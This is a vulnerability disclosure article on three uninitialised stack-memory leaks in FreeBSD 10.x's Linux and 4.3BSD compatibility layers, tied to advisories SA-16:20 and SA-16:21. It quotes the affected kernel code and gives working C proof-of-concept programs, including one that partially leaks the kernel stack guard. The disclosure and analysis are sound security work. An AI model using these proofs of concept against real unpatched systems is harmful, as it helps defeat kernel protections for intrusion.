Analysis of stack disclosure vulnerabilities in FreeBSD compatibility layers


Introduction

Arguably one of FreeBSD's most renowned features is its compatibility layers. In particular, FreeBSD provides compatibility layers for 32-bit Linux binaries and for legacy 4.3BSD software. These are usually enabled by building a custom kernel with the COMPAT_LINUX32 and COMPAT_43 configuration options, however the Linux compatibility layer is also implemented as a separate kernel module, which can be loaded at runtime instead (kldload linux).

I have discovered multiple information leak vulnerabilities in the implementations of these compatibility layers, which allow an unprivileged user to leak a large amount of potentially sensitive, uninitialised stack data. These vulnerabilities have been assigned SA-16:20 and SA-16:21 by the FreeBSD Security Team. A commit reference for the patch of these bugs may be found here.

In this article I will give a quick explanation of each bug I found, along with some PoC code, and will then demonstrate the impact of this type of vulnerability by using one of the bugs to partially leak the stack guard.

All details and code excerpts for this article have been taken from FreeBSD 10.2-RELEASE (amd64), however, the vulnerabilities are present up to version 10.3 as well.


TIOCGSERIAL

The first vulnerability resides in the TIOCGSERIAL command of the Linux compatibility layer's ioctl handler for virtual terminals. This function only partially initialises contents of the lss struct before copying it to userland.

sys/compat/linux/linux_ioctl.c:

static int
linux_ioctl_termio(struct thread *td, struct linux_ioctl_args *args)
{
	struct termios bios;
	struct linux_termios lios;
	struct linux_termio lio;
	cap_rights_t rights;
	struct file *fp;
	int error;

	error = fget(td, args->fd, cap_rights_init(&rights, CAP_IOCTL), &fp);
	if (error != 0)
		return (error);

	switch (args->cmd & 0xffff) {
	...
	case LINUX_TIOCGSERIAL: {
		struct linux_serial_struct lss;
		lss.type = LINUX_PORT_16550A;
		lss.flags = 0;
		lss.close_delay = 0;
		error = copyout(&lss, (void *)args->arg, sizeof(lss));
		break;
	}
	...
	}
	
	fdrop(fp, td);
	return (error);
}

By looking at the declaration of this struct type, it is immediately obvious that there is an issue.

sys/compat/linux/linux_ioctl.c:

struct linux_serial_struct {
	int	type;
	int	line;
	int	port;
	int	irq;
	int	flags;
	int	xmit_fifo_size;
	int	custom_divisor;
	int	baud_base;
	unsigned short close_delay;
	char	reserved_char[2];
	int	hub6;
	unsigned short closing_wait;
	unsigned short closing_wait2;
	int	reserved[4];
};

Only the type, flags, and close_delay members of the struct are initialised before it is copied to userland; all other members will contain uninitialised stack data. In total, this command allows us to leak 50 bytes.


PoC

The following PoC code demonstrates triggering the TIOCGSERIAL bug, and displaying the leaked kernel memory; it needs to be compiled as a 32-bit Linux binary.

#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/serial.h>

static void hexDump(const void *data, size_t size) {
	size_t i;
	for(i = 0; i < size; i++) {
		printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
	}
	printf("\n");
}

int main(void) {
	struct serial_struct lss;
	size_t leaked;
	
	int fd = open("/dev/ttyv0", 0);
	if(fd == -1) {
		perror("open");
		exit(1);
	}
	
	int r = ioctl(fd, TIOCGSERIAL, &lss);
	if(r == -1) {
		perror("ioctl");
		exit(1);
	}
	
	printf("  [+] Total size: %zu\n", sizeof(lss));
	leaked = sizeof(lss);
	
	printf("  [+] Contents:\n");
	hexDump(&lss, sizeof(lss));
	
	#define initialised(member) printf("0x%02zx: initialised member `%s` (%zu)\n",\
		offsetof(struct serial_struct, member), #member, sizeof(lss.member));\
		leaked -= sizeof(lss.member);
	
	initialised(type);
	initialised(flags);
	initialised(close_delay);
	
	printf("  [+] Total bytes leaked: %zu\n", leaked);
	
	return 0;
}

Sample output:

  [+] Total size: 60
  [+] Contents:
04 00 00 00 00 FE FF FF A0 80 5D 02 00 F8 FF FF
00 00 00 00 00 FE FF FF 7B E3 8F 80 FF FF FF FF
00 00 2E 00 00 FE FF FF 28 39 2E 00 00 FE FF FF
18 39 2E 00 00 FE FF FF 0C 00 00 00
0x00: initialised member `type` (4)
0x10: initialised member `flags` (4)
0x20: initialised member `close_delay` (2)
  [+] Total bytes leaked: 50

Kernel pointers are clearly contained in the contents of this leaked memory, such as 0xffffffff808fe37b.


sysinfo

The next vulnerability also affects the the Linux compatibility layer, and resides in the sysinfo system call implementation. This function only partially initialises contents of the syinfo struct before copying it to userland.

sys/compat/linux/linux_misc.c:

struct l_sysinfo {
	l_long		uptime;		/* Seconds since boot */
	l_ulong		loads[3];	/* 1, 5, and 15 minute load averages */
#define LINUX_SYSINFO_LOADS_SCALE 65536
	l_ulong		totalram;	/* Total usable main memory size */
	l_ulong		freeram;	/* Available memory size */
	l_ulong		sharedram;	/* Amount of shared memory */
	l_ulong		bufferram;	/* Memory used by buffers */
	l_ulong		totalswap;	/* Total swap space size */
	l_ulong		freeswap;	/* swap space still available */
	l_ushort	procs;		/* Number of current processes */
	l_ushort	pads;
	l_ulong		totalbig;
	l_ulong		freebig;
	l_uint		mem_unit;
	char		_f[20-2*sizeof(l_long)-sizeof(l_int)];	/* padding */
};
int
linux_sysinfo(struct thread *td, struct linux_sysinfo_args *args)
{
	struct l_sysinfo sysinfo;
	vm_object_t object;
	int i, j;
	struct timespec ts;

	getnanouptime(&ts);
	if (ts.tv_nsec != 0)
		ts.tv_sec++;
	sysinfo.uptime = ts.tv_sec;

	/* Use the information from the mib to get our load averages */
	for (i = 0; i < 3; i++)
		sysinfo.loads[i] = averunnable.ldavg[i] *
		    LINUX_SYSINFO_LOADS_SCALE / averunnable.fscale;

	sysinfo.totalram = physmem * PAGE_SIZE;
	sysinfo.freeram = sysinfo.totalram - cnt.v_wire_count * PAGE_SIZE;

	sysinfo.sharedram = 0;
	mtx_lock(&vm_object_list_mtx);
	TAILQ_FOREACH(object, &vm_object_list, object_list)
		if (object->shadow_count > 1)
			sysinfo.sharedram += object->resident_page_count;
	mtx_unlock(&vm_object_list_mtx);

	sysinfo.sharedram *= PAGE_SIZE;
	sysinfo.bufferram = 0;

	swap_pager_status(&i, &j);
	sysinfo.totalswap = i * PAGE_SIZE;
	sysinfo.freeswap = (i - j) * PAGE_SIZE;

	sysinfo.procs = nprocs;

	/* The following are only present in newer Linux kernels. */
	sysinfo.totalbig = 0;
	sysinfo.freebig = 0;
	sysinfo.mem_unit = 1;

	return (copyout(&sysinfo, args->info, sizeof(sysinfo)));
}

This bug is slightly more subtle because the leaked data hides in the padding bytes of the struct. The total amount of data leaked from this system call is 10 bytes.


PoC

The following PoC code demonstrates triggering the sysinfo bug, and displaying the leaked kernel memory; it needs to be compiled as a 32-bit Linux binary.

#include <stdio.h>
#include <stdlib.h>
#include <sys/sysinfo.h>

static void hexDump(const void *data, size_t size) {
	size_t i;
	for(i = 0; i < size; i++) {
		printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
	}
	printf("\n");
}

int main(void) {
	struct sysinfo info;
	sysinfo(&info);
	
	printf("  [+] Leaked data:\n");
	hexDump((((char *)&info.procs) + 2), sizeof(short));
	hexDump(&info._f, sizeof(info._f));
	printf("  [+] %zu bytes total\n", sizeof(short) + sizeof(info._f));
	
	return 0;
}

Sample output:

  [+] Leaked data:
00 00
00 A0 06 28 00 00 00 00
  [+] 10 bytes total

ostat

The final bug affects the 4.3BSD compatibility layer, and resides in the cvtstat function, which is used by the ostat and ofstat system calls. This function only partially initialises contents of the ost struct before copying it to userland.

sys/kern/vfs_syscalls.c:

int
ostat(td, uap)
	struct thread *td;
	register struct ostat_args /* {
		char *path;
		struct ostat *ub;
	} */ *uap;
{
	struct stat sb;
	struct ostat osb;
	int error;

	error = kern_stat(td, uap->path, UIO_USERSPACE, &sb);
	if (error != 0)
		return (error);
	cvtstat(&sb, &osb);
	return (copyout(&osb, uap->ub, sizeof (osb)));
}

...

/*
 * Convert from an old to a new stat structure.
 */
void
cvtstat(st, ost)
	struct stat *st;
	struct ostat *ost;
{

	ost->st_dev = st->st_dev;
	ost->st_ino = st->st_ino;
	ost->st_mode = st->st_mode;
	ost->st_nlink = st->st_nlink;
	ost->st_uid = st->st_uid;
	ost->st_gid = st->st_gid;
	ost->st_rdev = st->st_rdev;
	if (st->st_size < (quad_t)1 << 32)
		ost->st_size = st->st_size;
	else
		ost->st_size = -2;
	ost->st_atim = st->st_atim;
	ost->st_mtim = st->st_mtim;
	ost->st_ctim = st->st_ctim;
	ost->st_blksize = st->st_blksize;
	ost->st_blocks = st->st_blocks;
	ost->st_flags = st->st_flags;
	ost->st_gen = st->st_gen;
}

This bug leaks a total of 4 bytes in the padding of the struct.


PoC

The following PoC code demonstrates triggering the ostat bug, and displaying the leaked kernel memory; it can be compiled on FreeBSD using the default clang compiler.

#include <stdio.h>
#include <unistd.h>

int main(void) {
	char oub[88] = { 0 };
	
	syscall(38, ".", &oub);
	
	printf("  [+] Leaked data:\n");
	printf("0x%02hhx 0x%02hhx\n", oub[2], oub[3]);
	printf("0x%02hhx 0x%02hhx\n", oub[18], oub[19]);
	
	return 0;
}

Sample output:

  [+] Leaked data:
0xee 0x0f
0x99 0x02

Leveraging contents of leaked data

The leaked memory for each vulnerability will contain different kinds of data depending on the stack frame of the previously called functions.

For example, we can demonstrate this by using the LINUX_TIOCSSERIAL command, which does nothing but copyin the user supplied struct onto the stack.

sys/compat/linux/linux_ioctl.c:

	case LINUX_TIOCSSERIAL: {
		struct linux_serial_struct lss;
		error = copyin((void *)args->arg, &lss, sizeof(lss));
		if (error)
			break;
		/* XXX - It really helps to have an implementation that
		 * does nothing. NOT!
		 */
		error = 0;
		break;
	}

By using this command, and then triggering the TIOCGSERIAL bug, we can observe reminants of the memory we passed to the previous call in our leaked data.

#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/serial.h>

static void hexDump(const void *data, size_t size) {
	size_t i;
	for(i = 0; i < size; i++) {
		printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
	}
	printf("\n");
}

int main(void) {
	struct serial_struct lss;
	
	int fd = open("/dev/ttyv0", 0);
	if(fd == -1) {
		perror("open");
		exit(1);
	}
	
	memset(&lss, 'a', sizeof(lss));
	ioctl(fd, TIOCSSERIAL, &lss);
	ioctl(fd, TIOCGSERIAL, &lss);
	
	printf("  [+] Contents:\n");
	hexDump(&lss, sizeof(lss));
	
	return 0;
}

Sample output:

  [+] Contents:
04 00 00 00 00 FE FF FF 90 C1 5D 02 00 F8 FF FF
00 00 00 00 00 FE FF FF 7B E3 8F 80 FF FF FF FF
00 00 61 61 61 61 61 61 28 59 31 00 00 FE FF FF
18 59 31 00 00 FE FF FF 61 61 61 61

Targets to leak

For most modern operating systems, these kinds of info leaks are usually used to obtain kernel addresses, which can then be used to calculate the kernel slide, and bypass kernel ASLR. However, since FreeBSD still doesn't support kernel ASLR, I will instead focus on bypassing another exploit mitigation mechanism.

We can use these bugs to attempt to leak the stack guard, which is incredibly valuable to an attacker because it can be used to enable exploitation of many kernel stack overflows which would otherwise be dismissed as being unexploitable (msdosfs_readdir springs to mind).

To leak the stack guard, we just need to identify a system call with an appropriate stack frame that lines up the offset of the stack guard with an offset which we can read later.

Depending on the exact version and architecture of FreeBSD which you target, different system calls may be suitible for each bug, however, for this article I will just focus on FreeBSD 10.2-RELEASE for amd64.

The following PoC code demonstrates leaking 2 bytes of the stack guard through the sysinfo bug by abusing the stack frame of linux_newuname; it needs to be compiled as a 32-bit Linux binary.

#include <stdio.h>
#include <stdlib.h>
#include <sys/sysinfo.h>
#include <sys/utsname.h>

int main(void) {
	struct sysinfo info;
	
	uname(NULL);
	sysinfo(&info);
	
	printf("  [+] Partial stack guard leak: 0x%04hX\n", *(short *)(((char *)&info.procs) + 2));
	
	return 0;
}

The easiest way to verify the output of the above program is to compare it to the stack guard leaked from a separate vulnerability, such as SETFKEY. However, if your system has been patched against this vulnerability, you will have to either dump the stack guard with gdb, or write a custom kernel module.


Summary

Whilst the compatibility layers are an undoubtedly useful feature of FreeBSD, you should be aware that by using them, you will always expose your system to an increased attack surface.

In this article I provided several examples of obvious info leaks I discovered in these layers, and demonstrated that their impact can be severe if an attacker has identified appropriate stack frames to leak sensitive data, like the stack guard.